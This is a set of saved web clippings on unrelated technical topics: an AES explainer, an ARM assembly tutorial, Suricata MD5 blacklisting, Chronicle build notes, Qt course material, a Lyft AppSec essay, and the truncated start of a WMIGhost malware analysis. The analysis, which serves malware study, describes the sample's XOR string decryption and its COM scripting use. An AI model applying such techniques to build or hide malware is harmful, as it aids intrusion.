**Created:**| _9/25/2009 5:09:57 PM_  
---|---  
**Updated:**| _9/25/2009 5:10:16 PM_  
**Author:**| __  
**Tags:**| _crypto LOLZ_  
  

## TUESDAY, SEPTEMBER 22, 2009

### A Stick Figure Guide to the Advanced Encryption Standard \(AES\)

**\(A play in 4 acts. Please feel free to exit along with the stage character
that best represents you. Take intermissions as you see fit. Click on the
stage if you have a hard time seeing it. If you get bored, you can jump to the
code. Most importantly, enjoy the show\!\)**

#### Act 1: Once Upon a Time...

<img src='img/Temp2_5454.png' width='576' height='452' alt='intro' /><img
src='img/Temp2_5428.png' width='576' height='451' alt='sad' /><img
src='img/Temp2_5465.png' width='576' height='451' alt='aes act 1 scene 03
cinderella' /><img src='img/Temp2_5442.png' width='576' height='452' alt='aes
act 1 scene 04 started' /><img src='img/Temp2_5446.png' width='576'
height='451' alt='aes act 1 scene 05 judge' /><img src='img/Temp2_5420.png'
width='576' height='451' alt='aes act 1 scene 06 nbs decree' /><img
src='img/Temp2_5452.png' width='576' height='451' alt='aes act 1 scene 07
lucifer' /><img src='img/Temp2_5436.png' width='576' height='451' alt='aes act
1 scene 08 anoint des' /><img src='img/Temp2_5444.png' width='576'
height='451' alt='aes act 1 scene 09 des ruled' /><img
src='img/Temp2_5453.png' width='576' height='451' alt='aes act 1 scene 10 des
defeated' /><img src='img/Temp2_5464.png' width='576' height='451' alt='aes
act 1 scene 11 triple des' /><img src='img/Temp2_5481.png' width='576'
height='451' alt='aes act 1 scene 12 nist decree' /><img
src='img/Temp2_5484.png' width='576' height='451' alt='aes act 1 scene 13
rallied' /><img src='img/Temp2_5429.png' width='576' height='450' alt='aes act
1 scene 14 rijndael' /><img src='img/Temp2_5445.png' width='576' height='451'
alt='aes act 1 scene 15 vote' /><img src='img/Temp2_5450.png' width='576'
height='451' alt='aes act 1 scene 16 won' /><img src='img/Temp2_5426.png'
width='576' height='451' alt='aes act 1 scene 17 intel' /><img
src='img/Temp2_5440.png' width='576' height='450' alt='aes act 1 scene 18
crypto question' />

#### Act 2: Crypto Basics

<img src='img/Temp2_5439.png' width='576' height='450' alt='aes act 2 scene 01
three big ideas' /><img src='img/Temp2_5457.png' width='576' height='451'
alt='aes act 2 scene 02 confusion' /><img src='img/Temp2_5476.png' width='576'
height='451' alt='aes act 2 scene 03 diffusion' /><img
src='img/Temp2_5424.png' width='576' height='451' alt='aes act 2 scene 04 key
secrecy' /><img src='img/Temp2_5485.png' width='576' height='451' alt='aes act
2 scene 05 aes details question' />

#### Act 3: Details

<img src='img/Temp2_5482.png' width='576' height='451' alt='aes act 3 scene 01
sign this' /><img src='img/Temp2_5471.png' width='576' height='735' alt='aes
act 3 scene 02 agreement' /><img src='img/Temp2_5461.png' width='576'
height='451' alt='aes act 3 scene 03 state matrix' /><img
src='img/Temp2_5456.png' width='576' height='451' alt='aes act 3 scene 04
initial round' /><img src='img/Temp2_5430.png' width='576' height='451'
alt='aes act 3 scene 05 xor tribute' /><img src='img/Temp2_5449.png'
width='576' height='451' alt='aes act 3 scene 06 key expansion part 1' /><img
src='img/Temp2_5480.png' width='576' height='451' alt='aes act 3 scene 07 key
expansion part 2a' /><img src='img/Temp2_5474.png' width='576' height='451'
alt='aes act 3 scene 08 key expansion part 2b' /><img src='img/Temp2_5463.png'
width='576' height='451' alt='aes act 3 scene 09 key expansion part 3' /><img
src='img/Temp2_5438.png' width='576' height='451' alt='aes act 3 scene 10
intermediate round start' /><img src='img/Temp2_5451.png' width='576'
height='451' alt='aes act 3 scene 11 substitute bytes' /><img
src='img/Temp2_5486.png' width='576' height='451' alt='aes act 3 scene 12
shift rows' /><img src='img/Temp2_5483.png' width='576' height='451' alt='aes
act 3 scene 13 mix columns' /><img src='img/Temp2_5433.png' width='576'
height='451' alt='aes act 3 scene 14 add round key' /><img
src='img/Temp2_5437.png' width='576' height='450' alt='aes act 3 scene 15
final round' /><img src='img/Temp2_5441.png' width='576' height='451' alt='aes
act 3 scene 16 more rounds the merrier' /><img src='img/Temp2_5473.png'
width='576' height='450' alt='aes act 3 scene 17 tradeoffs' /><img
src='img/Temp2_5478.png' width='576' height='451' alt='aes act 3 scene 18
security margin' /><img src='img/Temp2_5479.png' width='576' height='451'
alt='aes act 3 scene 19 in pictures' /><img src='img/Temp2_5455.png'
width='576' height='451' alt='aes act 3 scene 20 decrypting' /><img
src='img/Temp2_5466.png' width='576' height='451' alt='aes act 3 scene 21
modes' /><img src='img/Temp2_5448.png' width='576' height='451' alt='aes act 3
scene 22 questions what really happens' /><img src='img/Temp2_5421.png'
width='576' height='450' alt='aes act 3 scene 23 math' />

#### Act 4: Math\!

<img src='img/Temp2_5468.png' width='576' height='451' alt='aes act 4 scene 01
algebra class' /><img src='img/Temp2_5447.png' width='576' height='451'
alt='aes act 4 scene 02 reviewing the basics' /><img src='img/Temp2_5475.png'
width='576' height='451' alt='aes act 4 scene 03 algebra coefficients' /><img
src='img/Temp2_5423.png' width='576' height='451' alt='aes act 4 scene 04
remember multiplication growth' /><img src='img/Temp2_5434.png' width='576'
height='451' alt='aes act 4 scene 05 cant go bigger' /><img
src='img/Temp2_5458.png' width='576' height='451' alt='aes act 4 scene 06
clock math' /><img src='img/Temp2_5462.png' width='576' height='451' alt='aes
act 4 scene 07 clock math polynomials' /><img src='img/Temp2_5477.png'
width='576' height='451' alt='aes act 4 scene 08 divide by mx' /><img
src='img/Temp2_5469.png' width='576' height='451' alt='aes act 4 scene 09
logarithms' /><img src='img/Temp2_5459.png' width='576' height='451' alt='aes
act 4 scene 10 using logarithms' /><img src='img/Temp2_5460.png' width='576'
height='450' alt='aes act 4 scene 11 polynomial as byte' /><img
src='img/Temp2_5435.png' width='576' height='451' alt='aes act 4 scene 12 byte
operations' /><img src='img/Temp2_5472.png' width='576' height='451' alt='aes
act 4 scene 13 byte inverses' /><img src='img/Temp2_5432.png' width='576'
height='451' alt='aes act 4 scene 14 sbox math' /><img
src='img/Temp2_5431.png' width='576' height='451' alt='aes act 4 scene 15
round constants' /><img src='img/Temp2_5443.png' width='576' height='451'
alt='aes act 4 scene 16 mix columns math' /><img src='img/Temp2_5425.png'
width='576' height='451' alt='aes act 4 scene 17 crib sheet' /><img
src='img/Temp2_5422.png' width='576' height='451' alt='aes act 4 scene 18 got
it now' /><img src='img/Temp2_5467.png' width='576' height='451' alt='aes act
4 scene 19 so much more' /><img src='img/Temp2_5470.png' width='576'
height='451' alt='aes act 4 scene 20 gotta go' /><img src='img/Temp2_5427.png'
width='576' height='450' alt='aes act 4 scene 21 the end' />

#### Epilogue

I created a heavily-commented AES/Rijndael implementation to go along with
this post and put it on GitHub. In keeping with the Foot-Shooting Prevention
Agreement, it shouldn't be used for production code, but it should be helpful
in seeing exactly where all the numbers came from in this play. Several
resources were useful in creating this:

  * <img src='img/Temp2_5419.png' />The Design of Rijndael is  _the_ book on the subject, written by the Rijndael creators. It was helpful in understanding specifics, especially the math \(although some parts were beyond me\). It's also where I got the math notation and graphical representation in the left and right corners of the scenes describing the layers \(SubBytes, ShiftRows,MixColumns, and AddRoundKey\).
  * The FIPS-197 specification formally defines AES and provides a good overview.
  * The Puzzle Palace, especially chapter 9, was helpful while creating Act 1. For more on how the NSA modified DES, seethis.
  * More on Intel's \(and now AMD\) inclusion of native AES instructions can be found here and in detail here.
  * Other helpful resources include Wikipedia, Sam Trenholme's AES math series, and this animation.

Please leave a comment if you notice something that can be better explained.

**Update \#1** : Several scenes were updated to fix some errors mentioned in
the comments.  
**Update \#2** : By request, I've created a slide show presentation of this
play in both PowerPoint and PDF formats. I've licensed them under theCreative
Commons Attribution License so that you can use them as you see fit. If you're
teaching a class, consider giving extra credit to any student giving a worthy
interpretive dance rendition in accordance with the Foot-Shooting Prevention
Agreement.

POSTED BY JEFF MOSER AT 8:12 AM

LABELS: AES

  *[8:12 AM]: 2009-09-22T08:12:00-04:00

# Vikram and Neha: Android ARM Assembly: A trivial program \(Part 2\)

**Created:**| _9/18/2011 7:49:44 AM_  
---|---  
**Updated:**| _9/18/2011 7:49:44 AM_  
**Author:**| __  
**Tags:**| _asm android arm_  
  

### Android ARM Assembly: A trivial program \(Part 2\)

This is part two of a series on learning ARM assembly on Android. This part
covers a walkthrough of a ARM assembly program.  
  
Part 1: Motivation and device set up  
=> Part 2: A walk-through of a simple ARM assembly program  
Part 3: Registers, memory, and addressing modes  
Part 4: Gnu tools for assembly; GCC and GDB  
Part 5: Stack and Functions  
Part 6: Arithmetic and Logical Expressions  
Part 7: Conditional Execution  
Part 8: Assembly in Android code  
  
The articles follow in series, each article builds on the previous.  
  
Hello world assembly program  
  
The easiest program that most languages introduce is the Hello World program.
If you had followed with Part one, you typed the Hello World program in C. Now
generate the assembly language for that example using the command given at the
end of part one.  
  
Here is the assembly language program in full:  

[code]

     1 	.cpu arm9tdmi
     2 	.fpu softvfp
     3 	.eabi_attribute 20, 1
     4 	.eabi_attribute 21, 1
     5 	.eabi_attribute 23, 3
     6 	.eabi_attribute 24, 1
     7 	.eabi_attribute 25, 1
     8 	.eabi_attribute 26, 2
     9 	.eabi_attribute 30, 6
    10 	.eabi_attribute 18, 4
    11 	.file	"hello.c"
    12 	.section	.rodata
    13 	.align	2
    14 .LC0:
    15 	.ascii	"Hello World\000"
    16 	.text
    17 	.align	2
    18 	.global	main
    19 	.**type**	main, %**function**
    20 main:
    21 	@ **Function** supports interworking.
    22 	@ args = 0, pretend = 0, frame = 8
    23 	@ frame_needed = 1, uses_anonymous_args = 0
    24 	mov	ip, sp
    25 	stmfd	sp!, {fp, ip, lr, pc}
    26 	sub	fp, ip, #4
    27 	sub	sp, sp, #8
    28 	str	r0, [fp, #-16]
    29 	str	r1, [fp, #-20]
    30 	ldr	r0, .L3
    31 	bl	puts
    32 	mov	r3, #0
    33 	mov	r0, r3
    34 	sub	sp, fp, #12
    35 	ldmfd	sp, {fp, sp, lr}
    36 	bx	lr
    37 .L4:
    38 	.align	2
    39 .L3:
    40 	.word	.LC0
    41 	.size	main, .-main
    42 	.ident	"GCC: (Debian 4.3.2-1.1) 4.3.2"
    43 	.section	.note.GNU-stack,"",%progbits
[/code]

As you can see, it is quite a lot of code for a simple program. Luckily, most
of it is boilerplate. Let's break it down piece by piece.  
  
Declaration and options  

[code]

     1 	.cpu arm9tdmi
     2 	.fpu softvfp
     3 	.eabi_attribute 20, 1
     4 	.eabi_attribute 21, 1
     5 	.eabi_attribute 23, 3
     6 	.eabi_attribute 24, 1
     7 	.eabi_attribute 25, 1
     8 	.eabi_attribute 26, 2
     9 	.eabi_attribute 30, 6
    10 	.eabi_attribute 18, 4
    11 	.file	"hello.c"
[/code]

The first eleven lines are declarations of various options in the ARM cpu. You
can ignore them for now. In case you are curious, we specify the CPU type, the
way we want the Floating Point Unit \(FPU\) to operate, and then specify
options for the ARM Embedded Application Binary Interface \(EABI\). The
filename is specified on line 11.  
  
Declaring constants  

[code]

    12 	.section	.rodata
    13 	.align	2
    14 .LC0:
    15 	.ascii	"Hello World\000"
[/code]

The string "Hello World" is specified as a constant in assembly on lines
12-15. It is in the Read Only DATA section \(.section .rodata\), it needs to
be aligned on two-byte boundaries, and the string is specified as an ASCII
string. Byte alignment is very important in assembly language programming. You
must pay careful attention to data that needs to be word aligned \(2-byte\),
quad aligned \(4-byte\) or byte aligned \(1-byte\). In general, you can't go
wrong with word alignment, so if you are uncertain, add a .align 2 at the top
of data and functions.  
The data is specified as a string in assembly, though the assembler writes it
out as bytes behind the scenes.  
  
Declaring functions  

[code]

    16 	.text
    17 	.align	2
    18 	.global	main
    19 	.**type**	main, %**function**
    20 main:
[/code]

The program consists of a single function called main. Program code is always
in the text section, thus the declaration on line 16. It is word aligned
\(line 17\). main is a global variable, and line 18 allows it to be visible
elsewhere in the program. Finally, it is listed as a function, and line 20 is
a label containing the name 'main'.  
  
Registers and data  
Before we look at the function contents, it might be useful to know what the
ARM architecture is like. ARM processors are an example of Reduced Instruction
Set Computing \(RISC\). This means that there are few instructions, and most
instructions operate on registers. For user programs, there are 16 registers,
called r0, r1, r2, .., r15. Each register is 32 bits long. Registers
correspond roughly to variables, though they don't have a data type. Most
arithmetical and logical operations are performed on registers. The processor
can also access the entire memory using load and store instructions.  
  
The registers r12-r15 are special:  
**r12: IP** , or Intra-Procedure call stack register. This register is used by
the linker as a scratch register between procedure calls. A procedure must not
modify its value on return. This register isn't used by Linux gcc or glibc,
but another system might.  
**r13: SP,** or Stack Pointer. This register points to the top of the stack.
The stack is area of memory used for local function-specific storage. This
storage is reclaimed when the function returns. To allocate space on the
stack, we subtract from the stack register. To allocate one 32-bit value, we
subtract 4 from the stack pointer.  
**r14: LR** , or Link Register. This register holds the return value of a
subroutine. When a subroutine is called, the LR is filled with the program
counter.  
**r15: PC** , or Program Counter. This register holds the address of memory
that is currently being executed.  
  
Here are some data move instructions:  

[code]

    24 	mov	ip, sp
[/code]

This moves the value from sp \(r13\) to ip \(r12\). This achieves ip = sp.  

[code]

    32 	mov	r3, #0
[/code]

This moves the value 0 into r3. This achieves r3 = 0  
In addition to moving values within registers, you can load values from memory
into registers, and store registers into memory. Here are instructions that
achieve this:  

[code]

    28 	str	r0, [fp, #-16]
[/code]

This stores the contents of r0 into the memory location pointed to by \(fp
-16\). Since memory is addressed by bytes, and registers are 4 bytes each,
memory offsets are often multiples of 4. This is the same as the C statement
\*\(fp - 4\) = r0  

[code]

    30 	ldr	r0, [fp]
[/code]

This loads the data from memory pointed to by register fp into register r0.
This is the same as the C statement r0 = \*\(fp\)  

[code]

    25 	stmfd	sp!, {fp, ip, lr, pc}
[/code]

This is a multi-register move operation. This moves the registers FP,IP,LR,PC
into the area specified by the register SP. Since SP is the stack pointer,
this is the same as pushing registers FP,IP,LR,PC to the top of the stack in a
single operation. Once this is done, the stack pointer is updated since it has
an exclamation mark.  

[code]

    35 	ldmfd	sp, {fp, sp, lr}
[/code]

This is another multi-register move that undoes the action on line 25. This
reads back the values that were written earlier, popping them from the stack.
The combined effect of lines 25 and 35 is to store the important register
values on the stack and then restore them. This allows the function to modify
them in the main body. We don't restore IP  
  
Manipulating data  
Assembly instructions to manipulate data are very basic: you can do basic
arithmetic operations: ADD, SUB, and basic logical operations: AND, OR. ARM
Assembly language operations are of the type: OPERATION ARG1, ARG2, ARG3 This
performs the operation ARG1 = ARG2 OPERATION ARG3. In the above program, you
see some basic arithmetic.  
  

[code]

    26 	sub	fp, ip, #4
[/code]

This performs the action fp = ip - 4.  
  
Function calls and returns  
Assembly language is written as a flat set of instructions: there is very
little structure once the instructions are written to memory in the computer.
In order to make code modular, functions can be written. Without the
protection of the C compiler, assembly programs must manage their own function
calling.  
The basic function call involves the following structure:  

[code]

     	.text
     	.align	2
     	.global	functionName
     	.**type**	functionName, %**function**
     functionName:
     	mov	ip, sp
     	stmfd	sp!, {fp, ip, lr, pc}
     	sub	fp, ip, #4  @ Space for local variables
     	sub	sp, sp, #8
[/code]

[code]

     
     	sub	sp, fp, #12
     	ldmfd	sp, {fp, sp, lr}
     	bx	lr
[/code]

Subroutines are required to preserve every register except for r0-r3. So if
you need to use the other registers \(r4 onwards\), you should save them on
the stack before over-writing them. The exact function call convention is
listed in the ARM procedure call standard.  
In order to call a function, you Branch and Link using the BL instruction. The
return address is placed in the LR register. To return from a function, you
call a branch on the LR register. This is a BX rather than a B to correctly
move between ARM and Thumb instructions. \(Ignore ARM and Thumb differences
for now, they will be made clear later\).  
  
Hello World functionality  
Put together, the lines 30-33 lines print out the message Hello ARM world.
Let's break this down instruction-by-instruction to see how this is achieved.  

[code]

    30 	ldr	r0, .L3
    31 	bl	puts
    32 	mov	r3, #0
    33 	mov	r0, r3
[/code]

Line 30 loads the address of label .L3 into register r0. The function calling
convention is that the first four arguments are stored in r0-r3, and
subsequent arguments are stored on the stack. The function to put a value on
the screen is called puts, and it accepts just one argument: the string to be
printed. The address of this string is stored in the first register: r0.  
Line 31 calls the puts function, which consumes r0 and prints the value on the
screen. After calling the function, we can expect the registers r0-r3 to be
trashed. The return value of the puts is in r0, but we don't care for it.  
  
Line 32 and 33 put together achieve r0 = 0. This is the return value that the
main method returns.  
  
Final word  
You are now capable of reading ARM assembly and understanding the main
elements in the program. As an exercise, you could try reducing the size of
the code while keeping the functionality intact.  
  
In the next article, we can examine each piece in some detail.

# Suricata MD5 blacklisting | Inliniac
**Created:**| _7/3/2012 7:46:47 PM_  
---|---  
**Updated:**| _7/3/2012 7:46:47 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS DLP_  
  

# Suricata MD5 blacklisting

Posted on

June 9, 2012

by  Victor Julien

For a few months Suricata has been able to calculate the MD5 checksum of files
it sees in HTTP streams. Regardless of extraction to disk, the MD5 could be
calculated and logged. Martin Holste created a set of very cool scripts to use
the logged MD5 to look it up at VirusTotal and some other similar services.
This is done outside of Suricata. One thing I have been wanting to try is
matching against these MD5′s in Suricata itself.

In the recent 1.3beta2 release, I’ve added a first attempt at this. The
current support is crude but works. I’ve added a rule keyword, called
“filemd5″.

Syntax:  
`filemd5:filename;`

The keyword opens the file “filename” from your rule directory and loads it’s
content. It expects a heximal MD5 per line:

`91849eac70248b01e3723d12988c69ac`

Any extra info on a line is ignored, so the output of md5sum can be used
safely:

`91849eac70248b01e3723d12988c69ac suricata-1.3beta2.tar.gz`

At start up, Suricata will tell you how much memory the hash table uses. The
hash table is quite compact. It uses hash\_rows \* 4 + md5′s \* 16 bytes. For
20155064 MD5′s it uses a bit more than 300mb:

`[3748] 9/6/2012 -- 08:40:44 - (detect-filemd5.c:264) `

` (DetectFileMd5Parse) -- MD5 hash size 324578208 bytes`

``

Performance so far seems to be great. I’ve been testing with 20 million MD5′s
and so far I’m not seeing any significant performance impact. The dedicated
data structures I created for it seem to hold up quite nicely. Right now the
only slow down I see is at start up, where it adds a few seconds. The data
structure is currently limited to 32 bit, so a 4GB table. This should allow
~250 million MD5′s, although I haven’t tested that.

As this is a regular rule keyword, it can be combined with other rule
keywords, such as filemagic or filename. A sig like “filemagic:pdf;
filemd5:bad\_pdfs;” would match the list “bad\_pdfs” only against pdf files.

I think there are several possible use cases for this new functionality.
First, I could imagine a project like Emerging Threats shipping a list of the
most recent malware MD5′s. It should be possible to distribute the most recent
100k or so MD5′s.

Second, this could be used as a poor man’s DLP. Hash the files you don’t want
to see on your network outbound or unencrypted and have Suricata look for
them.

The most interesting use case probably is not implemented yet, but will be.
When negated matching is implemented, the filemd5 keyword could be used for
white listing.

As Martin Holste tweeted: _“Awesome, more than enough to handle all Windows OS
files. So can we just do: filemagic:exe; filemd5:\!whitelist.txt;?”_

I think an alert for all executable downloads that are not “pre approved” is
definitely something that can be useful.

Again, the work continues\! <img src='http://www.inliniac.net/blog/wp-
includes/images/smilies/icon_smile.gif' alt=':)' />

# BuildNotes - chronicle-recorder - Notes on getting Chronicle to build and
work - Project Hosting on Google Code

**Created:**| _8/16/2009 11:35:10 AM_  
---|---  
**Updated:**| _8/16/2009 11:35:21 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification_  
  
| Updated Sep 30, 2008 byrocallahan  
---  
Labels:| Phase-Deploy,Featured  
BuildNotes

Notes on getting Chronicle to build and work

# Build

Chronicle is packaged as a modified Valgrind. It requires a few devel packages
to be installed. Packages you might need, depending on distro:

  * libc6-dev \(Ubuntu\)
  * libc6-dev-i386 \(Ubuntu 64-bit\)
  * libelf \(SUSE\)
  * elfutils-libelf-devel \(Red Hat\)
  * libelfg0-dev \(Ubuntu\)

Check it out from Subversion trunk \(do not download the initial code drop,
since it is very old and won't work\). Then, to install it in $HOME/bin,

[code]

    cd valgrind-3.3.1
    ./configure --prefix=$HOME && make install
    
[/code]

Then to run the Chronicle tests,

[code]

    make check
    
[/code]

To apply Chronicle to your own program, run

[code]

    CHRONICLE_DB=/tmp/ls.db valgrind --tool=chronicle ls
    
[/code]

\(This assumes 'make install' installed 'valgrind' somewhere in your $PATH. If
not, you'll need to launch to the installed 'valgrind' using its full path.\)

To start chronicle-query and issue JSON queries:

[code]

    chronicle-query --db /tmp/ls.db
    
[/code]

Ordinarily you would not start chronicle-query directly, but instead use a
higher-level tool such as Chronomancer.

Chronicle is currently based on Valgrind 3.3.1. Chronicle requires the x86 or
AMD64 architectures on Linux, but should be fairly easy to port to any
platform Valgrind itself supports.

# Qt in Education Course Material — Qt - A cross-platform application and UI
framework

**Created:**| _1/3/2011 6:57:53 PM_  
---|---  
**Updated:**| _1/3/2011 6:58:02 PM_  
**Author:**| __  
**Tags:**| _bookmark python programming qt_  
  

# Qt in Education Course Material

The Qt in Education Course Material is developed for the purpose of teaching
Qt at educational institutions. The ten lectures cover the basics of Qt in
addition to some special topics. You are welcome to download them and try them
out.

<img src='img/Temp2_6545.png' alt='Book collection' />The course material is
split into lectures. Each lecture is meant to last 2 x 45 minutes. The
lectures include notes for the teacher, and exercises for the students to test
their skills after the class. There are also five larger lab exercises that
cover topics from several lectures at once.

All teachers and others interested, are encouraged to register to receive
information about updates and topics related to Qt in Education.  
  

Download all ten lectures and five labs all at once \(45MB\), or one at a
time:

  * L1: The ideas behind Qt and live demo \( pdf | odp | ppt \)  

  * L2: The Qt object model and the signal slot concept \( pdf | odp | ppt \)
  * L3: Widgets and layouts \( pdf | odp | ppt \)
  * L4: Datatypes collections and files \( pdf | odp | ppt \)
  * Lab 1 covering topics from L1-L4 \( pdf | odp | ppt \)
  * L5: Custom Widgets and Painting \( pdf | odp | ppt \)  

  * L6: The Graphics View Canvas \( pdf | odp | ppt \)  

  * Lab 2 covering topics from L5 and L6 \( pdf | odp | ppt \)
  * L7: Qt Quick \( pdf | odp | ppt \)
  * Lab 3 covering topics from L7 \( pdf | odp | ppt \)
  * L8: The Model View Framework \( pdf | odp | ppt \)
  * L9: Custom Models \( pdf | odp | ppt \)
  * Lab 4 covering topics from L8 and L9 \( pdf | odp | ppt \)
  * L10: Networking and Integrating the Web \( pdf | odp | ppt \)
  * Lab 5 covering topics from L10 \( pdf | odp | ppt \)

  
Please provide feedback either by posting a message to the forum or by
contacting us directly.

# Application Security in a DevOps Environment – Lyft Engineering

**Created:**| _3/7/2018 8:35:20 AM_  
---|---  
**Updated:**| _3/7/2018 8:35:20 AM_  
**Author:**| _wishi_  
**Tags:**| _SDL development-process devops_  
  

  

# Application Security in a DevOps Environment

It seems like every AppSec vendor pitch talks about how you can shift security
“to the left” and they can help you transition to “DevSecOps”. When I hear
these pitches, I’ve often thought to myself, “I don’t think that word means
what you think it does.” While it’s great that security is embracing DevOps-
style engineering \(yay\!\), and it’s great that many vendors are thinking
about how their tools fit in these environments \(yay\!\), I don’t see a lot
of the discussion about what DevSecOps looks like _when it’s done well_. When
I joined Lyft’s Security Team, surviving \(let alone thriving\) in their
DevOps environment was a challenge, but working in this environment taught me
a number of things about doing AppSec in a DevOps environment.

### Are you my target audience?

There is plenty of advice for making your AppSec team function better in a
DevOps environment, but this article is specifically about the characteristics
of Lyft’s AppSec program that I feel support our DevSecOps efforts well. If
you work on an AppSec team, maybe our experiences can help you think through
how you work with you DevOps engineering teams. If you’re a vendor and your
product doesn’t support these, then let’s delay talking until they do.

### DevAppSecOps, a word which here means…

A vendor recently described Lyft’s engineering process as “extreme DevOps”. We
have a lot of teams working on different products and features. Each team owns
their services and are responsible for meeting SLA’s for availability and
response time. Teams have almost complete control over how their services are
built and run, as long as they maintain their SLA. Most teams use this freedom
to develop fast, and are often deploying new features several times a day.
With this freedom, teams have the responsibility of securing their services,
and ensuring security issues are fixed within an established timeframe.

Adding a traditional AppSec program to this would be labor intensive. When
building the AppSec program at Lyft, we had to re-think how we engage teams,
and develop tooling to automate integrating security throughout the
development flow.

When looking at the projects in Lyft’s AppSec program that have been
successful, a couple of themes stand out.

  * Everything has to be measured
  * Security’s input needs to be timely and respect the developer’s time
  * We need continuous feedback loops between processes

If you look at all of the activities that we’re doing, we don’t embody these
themes in everything that we do, but we’ve had enough successful examples of
each that I believe they’re worth sharing.

### Everything must be Measured

Tools and processes need to be measurable. Not only do we need to collect the
measurements, we need people watching those metrics. Some metrics can be
watched by the AppSec team, but for many it’s far more effective when the the
development teams monitor the metrics and are held responsible for maintaining
a reasonable threshold.

At Lyft, each team maintains one or more dashboards for each of the services
they run. This shows metrics such as the service’s error rates, response time,
and the percentage of time the service has been within it’s SLA for services
that rely on it. The Security Team is currently rolling out metrics to our
service dashboards tracking out of date patches, with an alarm to page the
team when security patches are left unapplied. Giving the teams visibility
into the risks lets them prioritize and schedule their patching, instead of
relying on the security team to monitor patch levels.

There are many vendors who can show patch levels across your fleet. Most of
those tools do a much better job analyzing packages on the system and figuring
out what patches are missing instead of our naive scripting. They produce
prettier graphs. The problem with most systems is they display this data to
the security team, and rarely support getting that information to the people
who have the power \(and responsibility\) for patching those instances in a
way that integrates with their workflow.

If you’re a security vendor, please, support native exporting of your tools
data to the tools that our engineers are in every day — wavefront, grafana,
elasticsearch. Or let us write all the data into S3 so we can ingest it into
our standard audit pipeline. We also need to scope reports on that data to the
appropriate teams, so please, support slicing data on AWS tags, ASG names,
etc.

### Input must be Timely \(and respect the engineer’s time\)

When giving security input to an engineering team, if the input is not given
at exactly the right time there’s a good chance it will just be filtered out
as noise by the members on that team. With the speed of development and the
velocity of change in our environment, engineers have to digest a firehose of
information. Whether it’s all-engineering emails about changes to a service
template, changes to the process for deploy a particular job, or best
practices that teams have figured out and want other teams to adopt, engineers
are bombarded by \(good and helpful\) information from other teams every day.
To be productive as a developer, you have to filter out a lot noise. The
security team telling you it’s cybersecurity awareness month, so please don’t
xss or fall for phishing, becomes noise. Engineers need to be reminded about
cross-site scripting when they are writing new frontend code, and about
phishing when they are reading emails from questionable sources.

One place where I saw a significant gap in getting timely information to our
developers was during the pull request \(PR\) process. We have static analysis
tools running against PR’s in github that must all pass before the PR can be
merged. But often those tests take 10–15 minutes to run. By the time our
static analysis tools fail the build, the developer is often off working on
another task, or working through code review with a peer. To make things
worse, the UX for discovering why a Jenkins test failed isn’t intuitive for
new engineers. This resulted in engineers asking the security team on Slack
why a test was failing \(interrupting flow for both the developer and the
security team member who needed to answer their question\), and a mean time to
fix of over an hour. Worse, if the engineer didn’t understand the results,
they sometimes would force merge the PR under the assumption that it was a
false positive or they could fix it later.

Seeing this, we built a system \(LASER\) at Lyft to quickly give non-blocking
security feedback on PR’s. We try to give feedback within 30 seconds of the
developer opening a PR or pushing a commit. This way the feedback is present
before their peer looks at the PR for code review, and the developer is
notified of the comment before they transition to another task. The comment
from LASER gives a summary of the issue, with links to more information in
case they aren’t familiar with the security issue that was found. This
resulted in the average fix time dropping to 7 minutes.

In addition to having tools that are fast, the results need to be very
accurate so the developer’s time is respected. Every false positive wastes an
engineer’s time \(even if it’s only 7 minutes\). Yes, this means higher false-
negative rates, but if we’re stopping the most common issues with no marginal
work for the security team, then the security team is freed to work on better
surfacing those issues in a fast and accurate way in our tooling.

### Outputs from one process should be useful input to refine other processes

The best tools are ones that both address an existing set of issues, and allow
us to improve our entire AppSec process at the same time. What does this look
like at Lyft? The security team tries to interact with the owner of a service
at 13 points in their development process. For that to be possible with a
relatively small AppSec team, those processes are highly automated and manual
work is prioritized based on risk. When implementing the automation, we
specifically looks for ways that the outputs can be used as inputs into other
automated processes.

  * We use a self-assessment questionnaire that lets teams report what user data they are storing and where. This provides automated feedback to the developer based on their answers, to prevent those mistakes as they implement their service. Certain characteristics automatically flag the service for deeper review by the Security Team. We also use the results to update our data map and inform how we prioritize that service for review and external security assessment.
  * When vulnerabilities are found, we look for ways to implement high signal rules in our scanning tools to detect these prior to deployment in the future. Which brings up another issue for vendors — if your scanning tool doesn’t allow us to modify and write new rules, then your tool is significantly less useful.

Most AppSec tooling and processes provide data that is useful input into other
processes, but thinking through how that will be done in advance has been
useful for ensuring that when we make investments in one aspect of our
program, we’re improving multiple aspects of our program simultaneously.

### Summary

This would be a nice, popular medium post if I promised that by doing these 3
things, you’ll be super successful and someone will probably give you a
unicorn. The reality is that AppSec is a lot of hard work, and there’s a
reasonable chance I’m wrong about a lot of things. Please leave feedback in
the comments, and I hope we can all learn more together\!

> Interested in working in an environment like this? Lyft is hiring\! Apply
> through our application system, or drop me a note at csteipp@lyft.com.
  

# WMIGhost / Wimmie - WMI malware

**Created:**| _7/17/2017 11:13:08 AM_  
---|---  
**Updated:**| _7/17/2017 11:13:08 AM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

  

cd ..

# WMIGhost / Wimmie - WMI malware

5 minutes read

WMIGhost / Wimmie sample is from theZoo

SHA256: `a6ff8dfe654da70390cd71626cdca8a6f6a0d7980cd7d82269373737b04fd206`

The sample has `.dll` extension but there are no exports and according to
characteristics, it’s not `dll` file, I’ve changed the extension to `.exe`
<img src='img/28249223-7e2a074a-6a62-11e7-976a-4c99a96e8829.png' width='949'
height='277' alt='image' />

We can use the report from hybrid-analysis.

There is no protection, let’s dive in deep. <img
src='img/28249243-f385b11a-6a62-11e7-91d2-5bbe286f6db7.png' width='949'
height='568' alt='image' />

From the beginning, it decrypts text using `XOR` with `0x63` and `0xE9`: <img
src='img/28249284-a3812ffe-6a63-11e7-927e-95a8e3963fc4.png' width='949'
height='869' alt='image' />

Decrypted text:

Raw format- Gist link

Much more readable: Gist Link <img
src='img/28249405-ffb4522c-6a65-11e7-8858-8f15a2c0ae2f.png' width='949'
height='639' alt='image' />

`NOTE`: you can use my script to extract decrypted text from the executable:
Gist link.

The malware uses `CoCreateInstance` function to get access to `COM`
functionality.

The Microsoft Component Object Model \(COM\) is an interface standard that
makes it possible for different software components to call each other’s code
without knowledge of specifics about each other.

<img src='img/28249341-fc4b15cc-6a64-11e7-97e6-1f7eb4b93cbd.png' width='949'
height='442' alt='image' />

`MS Script Control` is provided in `msscript.ocx`. It is a very handy tool to
